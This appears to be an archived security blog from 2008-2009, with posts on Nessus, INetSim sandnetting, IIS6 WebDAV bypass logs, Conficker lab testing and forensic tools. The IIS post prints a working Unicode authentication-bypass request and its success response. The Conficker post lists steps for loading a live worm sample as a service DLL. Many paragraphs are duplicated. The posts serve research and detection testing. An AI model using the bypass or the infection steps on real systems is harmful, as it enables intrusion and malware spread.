I've been testing the upcoming 4.2 release of the Nessus vulnerability scanner. The new Flash-based web interface is awesome. It runs smoother than the standalone client and has a great feature under the Reports section for comparing two scan results, which is great when you have a baseline to compare current results against. The first link has two video, and the second shows the compare functionality. I'll be posting additional notes and screenshots as I spend more time with the beta.
The Academy Pro has some excellent videos showing off the new features of Nessus 4.2.
Also, check out the GFI videos. They're currently giving away free T-shirts to bloggers. :-)
Friday, November 20, 2009
Wednesday, November 04, 2009
Sandnetting With INetSim & Metasploit
I've been looking for something that might work well in a situation where I might want to redirect malicious domains to a an IP hosting numerous faux services. I've used the scripts from TRUMAN in the past but they've left a little to be desired (no reflection on Joe Stewart...the guy rocks!). I looked at Glastopf but it wasn't what I was looking for. I caught a reference to INetSim and it looked to be exactly what I wanted.
INetSim emulates about a dozen different services and can do cool things like serve up pretty much any file that is requested. For example, if a Zeus bot-infected host is looking for a new .cfg file, it will respond with a file. Now, it's not the right file, but it doesn't return a 404, either. The significant thing here is that it records all requests and can emulate the services well. Check the features page for more info.
Using VMware Fusion 3, I setup a Ubuntu 9.10 Server for my testing. The following apt-get command installed the necessary pre-requisites.
We could run msfconsole from either the same host or another host and have it respond to all DNS queries with the address of the host running INetSim. First, create a file and call it anything (like fakedns.rc). In fakedns.rc, you need the following:
While I've got them in front of me, here's an example of the logs of DNS queries against INetSim.
INetSim emulates about a dozen different services and can do cool things like serve up pretty much any file that is requested. For example, if a Zeus bot-infected host is looking for a new .cfg file, it will respond with a file. Now, it's not the right file, but it doesn't return a 404, either. The significant thing here is that it records all requests and can emulate the services well. Check the features page for more info.
Using VMware Fusion 3, I setup a Ubuntu 9.10 Server for my testing. The following apt-get command installed the necessary pre-requisites.
sudo apt-get install libnet-server-perl libnet-dns-perl libdigest-sha1-perl libiptables-ipv4-ipqueue-perl libipc-shareable-perlI made a few small changes to the config file to fit my environment and was ready to go. Running "sudo ./inetsim" gets the following:
INetSim 1.1.1 (2009-09-09) by Matthias Eckert & Thomas HungenbergAs you can see, setup is easy. Now, how do you get the bad guys to end up at INetSim? I mentioned redirection of malicious domains earlier, but from the sandnet perspective, we can do a couple of things. The DNS dummy service within INetSim can be configured to return the same IP for all queries by configuring #dns_default_ip. But, that's too easy. Things are more fun when you use the Metasploit Framework.
Using log directory: /home/jsawyer/downloads/inetsim-1.1.1/log/
Using data directory: /home/jsawyer/downloads/inetsim-1.1.1/data/
Using report directory: /home/jsawyer/downloads/inetsim-1.1.1/report/
Using configuration file: /home/jsawyer/downloads/inetsim-1.1.1/conf/inetsim.conf
Parsing configuration file.
Configuration file parsed successfully.
=== INetSim main process started (PID 10323) ===
Session ID is : 10323
Real Date/Time is : Tue Nov 3 22:02:21 2009
Fake Date/Time is : Tue Nov 3 22:02:21 2009 (Delta: 0 seconds)
Forking services...
* dns 53/udp/tcp - started (PID 10325)
* http 80/tcp - started (PID 10326)
* pop3 110/tcp - started (PID 10328)
* smtp 25/tcp - started (PID 10327)
* tftp 69/udp - started (PID 10329)
* ntp 123/udp - started (PID 10331)
* time 37/tcp - started (PID 10332)
* ftp 21/tcp - started (PID 10330)
* daytime 13/tcp - started (PID 10334)
* time 37/udp - started (PID 10333)
* echo 7/tcp - started (PID 10336)
* echo 7/udp - started (PID 10337)
* daytime 13/udp - started (PID 10335)
* discard 9/tcp - started (PID 10338)
* discard 9/udp - started (PID 10339)
* quotd 17/tcp - started (PID 10340)
* quotd 17/udp - started (PID 10341)
* chargen 19/tcp - started (PID 10342)
* finger 79/tcp - started (PID 10344)
* chargen 19/udp - started (PID 10343)
* syslog 514/udp - started (PID 10346)
* ident 113/tcp - started (PID 10345)
* dummy 1/tcp - started (PID 10347)
* dummy 1/udp - started (PID 10348)
done.
Simulation running.
We could run msfconsole from either the same host or another host and have it respond to all DNS queries with the address of the host running INetSim. First, create a file and call it anything (like fakedns.rc). In fakedns.rc, you need the following:
use auxiliary/server/fakednsThen, run Metasploit like this:
set TARGETHOST 10.227.212.231
set SRVPORT 53
run
sudo ./msfconsole -r fakedns.rcAnd, there you go. Like I said, you could use the dummy DNS within INetSim but I just felt like scripting it with Metasploit since I'd done a few custom configs lately for wireless hijacking demos.
While I've got them in front of me, here's an example of the logs of DNS queries against INetSim.
=== Report for session '10413': ===I mentioned above that INetSim can answer pretty much any request. It responds based on the extension of the file being requested. You request a JPG, it give you back a JPG. This is all defined in the config. I'd recommend changing out the default files for something unique so that a malware author couldn't finger print your host as running INetSim because of the sample files.
Real start date : Tue Nov 3 22:10:15 2009
Simulated start date : Tue Nov 3 22:10:15 2009
Time difference on startup : none
2009-11-03 at 22:10:44 => First simulated date in log file
2009-11-03 at 22:10:44 => DNS connection, type: A, class: IN, requested name: www.bob.com
2009-11-03 at 22:10:51 => DNS connection, type: A, class: IN, requested name: www.b0b.com
2009-11-03 at 22:10:51 => Last simulated date in log file
===
http_fakefile txt sample.txt text/plainHere's a couple of requests via curl showing that a JPG is being served up no matter the path requested.
http_fakefile htm sample.html text/html
http_fakefile html sample.html text/html
http_fakefile php sample.html text/html
http_fakefile gif sample.gif image/gif
http_fakefile jpg sample.jpg image/jpeg
http_fakefile jpeg sample.jpg image/jpeg
http_fakefile png sample.png image/png
http_fakefile bmp sample.bmp image/x-ms-bmp
http_fakefile ico favicon.ico image/x-icon
http_fakefile exe sample_gui.exe x-msdos-program
http_fakefile com sample_gui.exe x-msdos-program
jsawyer$ curl -s http://10.227.212.231/suk.jpg | hexdump -C | head -1Have fun!!
00000000 ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 |######JFIF.....H|
jsawyer$ curl -s http://10.227.212.231/OMG/longURL/whereisitgoing/sukeyake.jpg | hexdump -C | head -1
00000000 ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 |######JFIF.....H|
Tuesday, May 19, 2009
Log Results of Successful IIS6 WebDAV Zero Day Attacks
I covered this a bit in my DarkReading blog but wanted to continue with my testing tonight to see what else I could find out. Plus, there are some new tool updates such as an auxiliary module for Metasploit and a plugin for Nessus.
There was an interesting follow-up to the DR blog on whether or not Microsoft Outlook Web Access was vulnerable. I don't have hands-on access to an OWA box but I hope to do some more testing on Tues.
What prompted me to write this post was an interesting finding posed in the correspondence regarding the logs and why the Unicode isn't showing up. The reader was wondering why the Unicode attacks were not showing up. Let's start first with some example logs right after what my telnet test looks like followed by my speculation as to the answer.
That's all I've got for now. It's nearing 2am and I'm starting to wane....
Yeah, can't sleep so, here's some logs on an Apache server from a Nessus scan with the new plugin. I'll test it against an IIS server in the morning.
There was an interesting follow-up to the DR blog on whether or not Microsoft Outlook Web Access was vulnerable. I don't have hands-on access to an OWA box but I hope to do some more testing on Tues.
What prompted me to write this post was an interesting finding posed in the correspondence regarding the logs and why the Unicode isn't showing up. The reader was wondering why the Unicode attacks were not showing up. Let's start first with some example logs right after what my telnet test looks like followed by my speculation as to the answer.
metasploit jsawyer$ telnet 192.168.43.128 80Telnet success:
Trying 192.168.43.128...
Connected to 192.168.43.128.
Escape character is '^]'.
GET /..%c0%af/admin/test.txt HTTP/1.1
Translate: f
Connection: close
Host: 192.168.43.128
HTTP/1.1 200 OK
Connection: close
Date: Tue, 19 May 2009 04:42:20 GMT
Server: Microsoft-IIS/6.0
Content-Type: text/plain
Content-Length: 7
ETag: "ffbac9af6d7c91:1e1"
Last-Modified: Mon, 18 May 2009 20:20:09 GMT
Accept-Ranges: bytes
pwnage!
2009-05-19 04:42:20 W3SVC1 192.168.43.128 GET /../admin/test.txt - 80 - 192.168.43.1 - 200 0 0Metasploit finding the protected admin dir:
2009-05-19 04:33:12 W3SVC1 192.168.43.128 PROPFIND /admin/ - 80 - 192.168.43.1 - 401 2 2148074254As you can see in the successful telnet log entry above, the %c0%af is removed. I suspect the issue is due to how the WebDAV DLL is handling the request and that the logging occurs after the request is handle. It would make sense since the log has to accurately reflect the proper HTTP code. In this case, the vulnerable WebDAV function removes the Unicode, responds with the requested file and IIS then logs the request.
2009-05-19 04:33:13 W3SVC1 192.168.43.128 PROPFIND /admin/ - 80 - 192.168.43.1 - 207 0 0
That's all I've got for now. It's nearing 2am and I'm starting to wane....
Yeah, can't sleep so, here's some logs on an Apache server from a Nessus scan with the new plugin. I'll test it against an IIS server in the morning.
- - [19/May/2009:02:04:48 -0400] "GET / HTTP/1.0" 200 45 "-" "-" - - [19/May/2009:02:04:49 -0400] "GET / HTTP/1.0" 200 45 "-" "-" - - [19/May/2009:02:04:53 -0400] "GET / HTTP/1.1" 200 45 "-" "-" - - [19/May/2009:02:04:53 -0400] "GET / HTTP/1.1" 200 45 "-" "-" - - [19/May/2009:02:04:53 -0400] "GET / HTTP/1.1" 200 45 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /login.htm HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /intruvert/jsp/admin/Login.jsp HTTP/1.1" 404 348 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET / HTTP/1.1" 200 45 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET / HTTP/1.1" 200 45 "-" "Mozilla/4.75 [en] (X11; U; Nessus)" - - [19/May/2009:02:04:53 -0400] "GET / HTTP/1.1" 200 45 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET / HTTP/1.1" 200 45 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /ControlManager/default.htm HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /MSWSMTP/Common/Authentication/Logon.aspx HTTP/1.1" 404 359 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET / HTTP/1.1" 200 45 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET / HTTP/1.1" 200 45 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /commoncgi/servlet/CCGIServlet?ApHost=PDT_InterScan_NT&CGIAlias=PDT_InterScan_NT&File=logout.htm HTTP/1.1" 404 348 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET / HTTP/1.1" 200 45 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /oGR_FLrEIIM_.html HTTP/1.1" 404 336 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /oGR_FLrEIIM_.cgi HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /oGR_FLrEIIM_.sh HTTP/1.1" 404 334 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /oGR_FLrEIIM_.pl HTTP/1.1" 404 334 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /oGR_FLrEIIM_.inc HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /oGR_FLrEIIM_.shtml HTTP/1.1" 404 337 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /oGR_FLrEIIM_.asp HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /oGR_FLrEIIM_.php HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /oGR_FLrEIIM_.php3 HTTP/1.1" 404 336 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /oGR_FLrEIIM_.cfm HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /cgi-bin/oGR_FLrEIIM_.html HTTP/1.1" 404 344 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /cgi-bin/oGR_FLrEIIM_.cgi HTTP/1.1" 404 343 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /cgi-bin/oGR_FLrEIIM_.sh HTTP/1.1" 404 342 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /cgi-bin/oGR_FLrEIIM_.pl HTTP/1.1" 404 342 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /cgi-bin/oGR_FLrEIIM_.inc HTTP/1.1" 404 343 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /cgi-bin/oGR_FLrEIIM_.shtml HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /cgi-bin/oGR_FLrEIIM_.php HTTP/1.1" 404 343 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /cgi-bin/oGR_FLrEIIM_.php3 HTTP/1.1" 404 344 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET /cgi-bin/oGR_FLrEIIM_.cfm HTTP/1.1" 404 343 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "GET / HTTP/1.1" 200 45 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" - - [19/May/2009:02:04:53 -0400] "OPTIONS * HTTP/1.1" 200 - "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
Friday, April 10, 2009
F-Response 3.09 Trial Run & Screenshots
On Tuesday, I received a package in the mail from Matt Shannon, founder and creator of F-Response. 
Inside was a small, F-Response-branded USB thumb drive containing the upcoming release of F-Response due out April 15, 2009. I updated my dongle, installed the new license manager and was ready to begin testing.
One of the first things I noticed is the newly redesigned license manager to replace the NetUnikey Server! Thank you, thank you, thank you. The third-party NetUnikey Server for dongle authentication in previous releases sucked, and I even ran into some bizarre network issues where it wouldn't authenticate in version 1.18 but was fine in the 2.x betas. Now, that's all fixed and working great. For those of you unfamiliar with the product, their is a licensing dongle. In the Field Kit edition, it has to be plugged into the host you are examining. In the Consultant and Enterprise editions, the dongle can be plugged into the analyst's workstation. When the F-Response client runs on the host being analyzed, it first must authenticate to the workstation with the dongle in it. It was the NetUnikey Server that used to accept and authenticate the requests from the F-Response clients. Now, it's gone and the F-Response License Manager serves that purpose in version 3.09.
The next major feature addition is the inclusion of the new management interfaces in the Enterprise and Consultant editions. They make deployment and connecting to remote disks a piece of cake. The Enterprise Management Console allows you to push the F-Response enterprise service to hosts you have admin rights to, start the service and connect to the disks and memory. The Consultant Connector makes it easy to connect to disks from hosts on which the Consultant F-Response client is running. There are several videos over at the F-Response site if you want to see them in action (linked to by their names above). The Enterprise Management Console will definitely be a head turner for companies who have been looking to replace products like Encase Enterprise but weren't sure if F-Response was the solution. It's about time to take a another look if you're one of those groups.
For me, the most exciting new features were the inclusion of support for Mac OS X and Linux in the Enterprise and Consultant versions. Previously, support for those OS's were only on the Field Kit edition. So far, F-Response has been working flawlessly on Mac and Linux. Earlier this week, I witnessed two Mac OS X machines have their entire 200+GB hard drives images over the network with F-Response. I personally tested a Mac Book Pro with the latest version of OS X, a fully updated Ubuntu Linux system and a Windows XP SP3 system.
In this screenshot, you can see the different options available in the Mac OS X client.
I created an autoconfigure ".ini" file using the Windows F-Response client, which has a GUI interface where you enter the IP of the host with the dongle and the user credentials to connect back into the machine over iSCSI. As you can see in this screenshot, I ran the executable with the "-c" option followed by the autoconfigure file I had created from the Windows client. The F-Response client authenticated, mounted the available drives and started listening for connections via iSCSI.
Did you notice how there were two drives in the last screenshot that were mounted read-only? What's worth noting is that this is my MacBook Pro which only has one hard drive. I use FileVault for encrypting my Home directory. The second drive is my Home directory mounted. I know one of the big features in Windows was the ability to access disk Volumes and not just raw hard drives, but I was surprised to see this behavior. I haven't tested imaging the mounted Home directory via F-Response, yet, but should be interesting.
This next screenshot is of the Linux F-Response client. It's pretty much identical to the Mac version and works with the same autoconfigure file as both Windows and Linux. This is a great feature allowing you to create CDs to hand out to your help desk with all versions of the client and only one ".ini".
This next screenshot is FTK Imager connected to a Linux host. While I was testing, I only looked around the filesystem a bit, but I could have easily imaged the drive. 
I think one of the things I like about F-Response the most is the flexibility it gives me to use pretty much any forensic tool I want whether it's FTK, Encase, RegRipper or anything else. It really lives up to its slogan by extending your arsenal.
Inside was a small, F-Response-branded USB thumb drive containing the upcoming release of F-Response due out April 15, 2009. I updated my dongle, installed the new license manager and was ready to begin testing.One of the first things I noticed is the newly redesigned license manager to replace the NetUnikey Server! Thank you, thank you, thank you. The third-party NetUnikey Server for dongle authentication in previous releases sucked, and I even ran into some bizarre network issues where it wouldn't authenticate in version 1.18 but was fine in the 2.x betas. Now, that's all fixed and working great. For those of you unfamiliar with the product, their is a licensing dongle. In the Field Kit edition, it has to be plugged into the host you are examining. In the Consultant and Enterprise editions, the dongle can be plugged into the analyst's workstation. When the F-Response client runs on the host being analyzed, it first must authenticate to the workstation with the dongle in it. It was the NetUnikey Server that used to accept and authenticate the requests from the F-Response clients. Now, it's gone and the F-Response License Manager serves that purpose in version 3.09.
The next major feature addition is the inclusion of the new management interfaces in the Enterprise and Consultant editions. They make deployment and connecting to remote disks a piece of cake. The Enterprise Management Console allows you to push the F-Response enterprise service to hosts you have admin rights to, start the service and connect to the disks and memory. The Consultant Connector makes it easy to connect to disks from hosts on which the Consultant F-Response client is running. There are several videos over at the F-Response site if you want to see them in action (linked to by their names above). The Enterprise Management Console will definitely be a head turner for companies who have been looking to replace products like Encase Enterprise but weren't sure if F-Response was the solution. It's about time to take a another look if you're one of those groups.
For me, the most exciting new features were the inclusion of support for Mac OS X and Linux in the Enterprise and Consultant versions. Previously, support for those OS's were only on the Field Kit edition. So far, F-Response has been working flawlessly on Mac and Linux. Earlier this week, I witnessed two Mac OS X machines have their entire 200+GB hard drives images over the network with F-Response. I personally tested a Mac Book Pro with the latest version of OS X, a fully updated Ubuntu Linux system and a Windows XP SP3 system.
In this screenshot, you can see the different options available in the Mac OS X client.
I created an autoconfigure ".ini" file using the Windows F-Response client, which has a GUI interface where you enter the IP of the host with the dongle and the user credentials to connect back into the machine over iSCSI. As you can see in this screenshot, I ran the executable with the "-c" option followed by the autoconfigure file I had created from the Windows client. The F-Response client authenticated, mounted the available drives and started listening for connections via iSCSI.
Did you notice how there were two drives in the last screenshot that were mounted read-only? What's worth noting is that this is my MacBook Pro which only has one hard drive. I use FileVault for encrypting my Home directory. The second drive is my Home directory mounted. I know one of the big features in Windows was the ability to access disk Volumes and not just raw hard drives, but I was surprised to see this behavior. I haven't tested imaging the mounted Home directory via F-Response, yet, but should be interesting.This next screenshot is of the Linux F-Response client. It's pretty much identical to the Mac version and works with the same autoconfigure file as both Windows and Linux. This is a great feature allowing you to create CDs to hand out to your help desk with all versions of the client and only one ".ini".
This next screenshot is FTK Imager connected to a Linux host. While I was testing, I only looked around the filesystem a bit, but I could have easily imaged the drive. 
I think one of the things I like about F-Response the most is the flexibility it gives me to use pretty much any forensic tool I want whether it's FTK, Encase, RegRipper or anything else. It really lives up to its slogan by extending your arsenal.
Wednesday, April 01, 2009
Go Infect Yourself...with Conficker
I'd been wanting to do some testing with Conficker to see if my IDS rules were truly working and whether or not some of the new detection tools released Monday were accurate (DarkReading: "Conficker Detection...Let Me Count The Ways"). Knowing that just running an EXE wasn't all that easy based on some of the analysis from the Internet Storm Center (here and here), I started digging around for some good samples of Conficker and instructions. First, I grabbed a few samples from Offensive Computing's malware archive. Next, I went looking for some hints on the best way to load the samples and found a related thread on Offensive Computing where someone was looking for a Conficker.C sample.
So, here's the quick and dirty. We'll download the sample, rename it, copy it to system32 dir and edit a useless service to load it on startup.
What's next? If you've done malware analysis before, you know you should have been capturing ALL network traffic from this host. Continue sniffing and looking for interesting things. Capture all of the traffic to disk with tcpdump, tshark or daemonlogger. Then run it through Snort with the Emerging Threats ruleset or ngrep looking for interesting strings. The possibilities are endless.
Oh yeah, don't forget to put this behind some kind of firewall or filtering device so you can keep a handle on it. I've got mine sitting behind a Vyatta-based bridging firewall that is working quite well for this use. I'm also sniffing directly on the bridged interface.
So, here's the quick and dirty. We'll download the sample, rename it, copy it to system32 dir and edit a useless service to load it on startup.
- Grab the file here.
- Rename it to "booyah.dll"
- Copy "booyah.dll" to "C:\Windows\System32\"
- Open Regedit and navigate to \HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Nla\Parameters
- Right click on "ServiceDll", click "Modify", change the current DLL to point to "booyah.dll", and click OK
- Close Regedit and Reboot.
What's next? If you've done malware analysis before, you know you should have been capturing ALL network traffic from this host. Continue sniffing and looking for interesting things. Capture all of the traffic to disk with tcpdump, tshark or daemonlogger. Then run it through Snort with the Emerging Threats ruleset or ngrep looking for interesting strings. The possibilities are endless.
Oh yeah, don't forget to put this behind some kind of firewall or filtering device so you can keep a handle on it. I've got mine sitting behind a Vyatta-based bridging firewall that is working quite well for this use. I'm also sniffing directly on the bridged interface.
Conficker Eye Chart
Joe Stewart put together a great little page that leverages the feature of Conficker that blocks certain websites. I've mirrored that content here to save Joe some bandwidth.
The page is really simple in that it loads images from the different websites. If you're infected, you'll see images missing. He has included a chart on how to determine what you might be infected with. If you are infected, check out the Internet Storm Center's page full of links on how to get cleaned up.
The page is really simple in that it loads images from the different websites. If you're infected, you'll see images missing. He has included a chart on how to determine what you might be infected with. If you are infected, check out the Internet Storm Center's page full of links on how to get cleaned up.
Friday, December 19, 2008
Windows Physical Memory Roundup
I put together a comprehensive list of Windows physical memory tools that's posted over at the SANS Computer Forensics Blog. The list includes acquisition and analysis tools along with a brief description, whether it is free or commercial and screenshots if available. Take a look if you have an interest in Windows memory analysis.
Windows Physical Memory: Finding the Right Tool for the Job
Windows Physical Memory: Finding the Right Tool for the Job
Friday, December 12, 2008
Weaponizing USB Flash Drives with the Addonics NAS Adapter
It's kind of interesting how I start out to write something and it ends up being totally different from what I was planning. Today's post at Dark Reading was like that. My original intent was to focus on data sprawl due to proliferation of physically small, large storage capacity flash drives. What I ended up with was a bad ass idea of weaponizing the Addonics NAS Adapter into a MitM attack tool for scarfing up network data including VoIP calls.
Take a trip down the rabbit hole with "USB Flash Drive Network Weaponization."
BTW, here's a link to the PDF of Larry Pesce's "Rogue APs for Penetration Testers" presentation. He's my inspiration for hiding small electronic devices in obscure places.
Take a trip down the rabbit hole with "USB Flash Drive Network Weaponization."
BTW, here's a link to the PDF of Larry Pesce's "Rogue APs for Penetration Testers" presentation. He's my inspiration for hiding small electronic devices in obscure places.
Mini Wish List
Here's a quick wish list for anyone who is still stumped on what to get me. I did put down gift certificates for two of the sites, but that's because it would be impossible to list all the little items from each site I'm interested in like a Super TV-B-Gone kit,
DIY Design Electronics Kit, Mousebot Kit, Blinkybug Kit, Tiny Cylon Kit, USB7 6 Digit LED Display Kit, Solarspeeder Kit, Learn to Solder Kit, Maker Bundle #1, Bare Bones Aduino Board Kit,
DIY Design Electronics Kit, Mousebot Kit, Blinkybug Kit, Tiny Cylon Kit, USB7 6 Digit LED Display Kit, Solarspeeder Kit, Learn to Solder Kit, Maker Bundle #1, Bare Bones Aduino Board Kit,
Wednesday, November 05, 2008
iPod Touch
I've had my new iPod for a week now and am loving it. Email is great and now I'm testing out a blogging app that seems to work well so far. My favorite app so far is ByLine that syncs my Google Reader RSS feeds so I can read them offline making it easy to stay on top of them. Ok, test over. More cool memory forensic stuff to come.
Tuesday, November 04, 2008
Encase, Physical Memory and E01s
Short disclaimer: This post is primarily for the sake of posterity and keeping track of some of the stuff I had laying around to get where I am in the research I'm doing right now. I've done a lot more testing with physical memory acquisition using winen, mdd, win32dd, and Encase both locally on live systems and on remote systems using F-Response in an effort to see the compatibility of the different outputs with Encase memory analysis Enscripts, Volatility Framework and Memoryze.
I don't remember which version of Encase added physical and process memory support but it was the 6.11 release that included winen.exe, a standalone utility to create an image/dump of physical memory. The resulting file was, of course, in the EWF/E01 format. The interesting thing is that when the E01's containing memory are opened in Encase, it knows that they represent memory so the icon in Encase changes from usual hard drive icon to a memory chip. Here's a screenshot.
How does Encase know? I thought it was based on the following dialog and I'd be able to change this within Encase by right-clicking on an entry but modifying the entries like those in the following image did nothing.
It turns out that Guidance Software has made an addition to the E01 file so that there is a new media type identifier, 0x10. Taking at look at a memory image created by winen, ewfinfo from the libefw project shows the Media Type as RAM.
Documentation on EWF (E01) File Format
I don't remember which version of Encase added physical and process memory support but it was the 6.11 release that included winen.exe, a standalone utility to create an image/dump of physical memory. The resulting file was, of course, in the EWF/E01 format. The interesting thing is that when the E01's containing memory are opened in Encase, it knows that they represent memory so the icon in Encase changes from usual hard drive icon to a memory chip. Here's a screenshot.
How does Encase know? I thought it was based on the following dialog and I'd be able to change this within Encase by right-clicking on an entry but modifying the entries like those in the following image did nothing.
It turns out that Guidance Software has made an addition to the E01 file so that there is a new media type identifier, 0x10. Taking at look at a memory image created by winen, ewfinfo from the libefw project shows the Media Type as RAM.ewfinfo 20080609 (libewf 20080609, zlib 1.2.3, libcrypto 0.9.7)Note: Latter beta versions since 20080609 lost the LIBEWF_MEDIA_TYPE_RAM so they show up like this:
Acquiry information
Case number: AAAAAAAAAAAA
Description: winen-nocomp
Examiner name: BBBBBBBBBBBB
Evidence number: CCCCCCCCCCCC
Operating system used: Windows XP
Software version used: 6.11
Password: N/A
Unknown value ext: 0
Media information
Media type: RAM
Media is physical: yes
Amount of sectors: 130940
Bytes per sector: 4096
Media size: 511 MiB (536330240 bytes)
Error granularity: 1
Compression type: no compression
GUID: 837687b1-988d-2c44-a8f4-84874692842a
MD5 hash in file: 26b6d584f7289baeecb64a79adc6f60b
ewfinfo 20081013 (libewf 20081013, libuna 20081011, zlib 1.2.3, libcrypto 0.9.7)Winen is great for incident response and gathering memory from live systems, but you can also access physical memory and individual processes on the same machine you're running Encase on, it's as easy as clicking the related boxes on the "Add Device" dialog in Encase.
Acquiry information
Case number: AAAAAAAAAAAA
Description: winen-nocomp
Examiner name: BBBBBBBBBBBB
Evidence number: CCCCCCCCCCCC
Operating system used: Windows XP
Software version used: 6.11
Password: N/A
Unknown value ext: 0
Media information
Media type: unknown (0x10)
Media is physical: yes
Amount of sectors: 130940
Bytes per sector: 4096
Media size: 511 MiB (536330240 bytes)
Error granularity: 1
Compression type: no compression
GUID: 837687b1-988d-2c44-a8f4-84874692842a
MD5 hash in file: 26b6d584f7289baeecb64a79adc6f60b
Documentation on EWF (E01) File Format
Monday, November 03, 2008
Cold Boot Memory Attack on TV Show "My Own Worst Enemy"
I'm checking out the new series "My Own Worst Enemy" with Christian Slater. In episode two around the 40 minute mark, they are being briefed on how they are going to infiltrate the enemy's headquarters. Someone mentions that the computers will be encrypted and a geeky dude says no problem, this can right here will freeze the memory so you can extract the encryption keys. Amazing!
When they get in, one of the guys is seen opening the side of a computer, briefly spraying the can into the machine, pulling out a RAM chip with tweezers and putting it into some sort of small circuit board that is then analyzed by a small subnotebook.
Pretty cool stuff. I'm very impressed, at lease after seeing all the technological crap the show "24" has butchered.
When they get in, one of the guys is seen opening the side of a computer, briefly spraying the can into the machine, pulling out a RAM chip with tweezers and putting it into some sort of small circuit board that is then analyzed by a small subnotebook.
Pretty cool stuff. I'm very impressed, at lease after seeing all the technological crap the show "24" has butchered.
Tuesday, October 28, 2008
MS06-040 & MS08-067 Similarities
People reversing the vulnerable code have discovered that the new MS08-067 vulnerability was present right next to the MS06-040 vulnerable code but was never noticed. Interesting. Are we really supposed to believe that noone noticed this sooner other than the recent malware being blamed for it being outed? Alright, enough conspiracy theory.
There's an exploit for MS08-067 recently posted at Milw0rm that I was testing out tonight. Out of sheer curiosity, I uploaded the precompiled binary to VirusTotal and it had already been uploaded so there was an analysis waiting on me. The previous analysis showed 8 out 36 AV engines detecting it. Now, there's 9.
What I thought was most interesting is this:
There's an exploit for MS08-067 recently posted at Milw0rm that I was testing out tonight. Out of sheer curiosity, I uploaded the precompiled binary to VirusTotal and it had already been uploaded so there was an analysis waiting on me. The previous analysis showed 8 out 36 AV engines detecting it. Now, there's 9.
What I thought was most interesting is this:
eTrust-Vet 31.6.6176 2008.10.28 Win32/MS06-040!exploitThat seems pretty darn close to me. Since the source is available for the exploit, I'll leave it to someone to dig up the old source of exploits for MS06-040 and see if there was some code sharing between the two or if the similarity of the vulnerability is causing eTrust to identify it this way.
Monday, September 22, 2008
Shellcode Testing
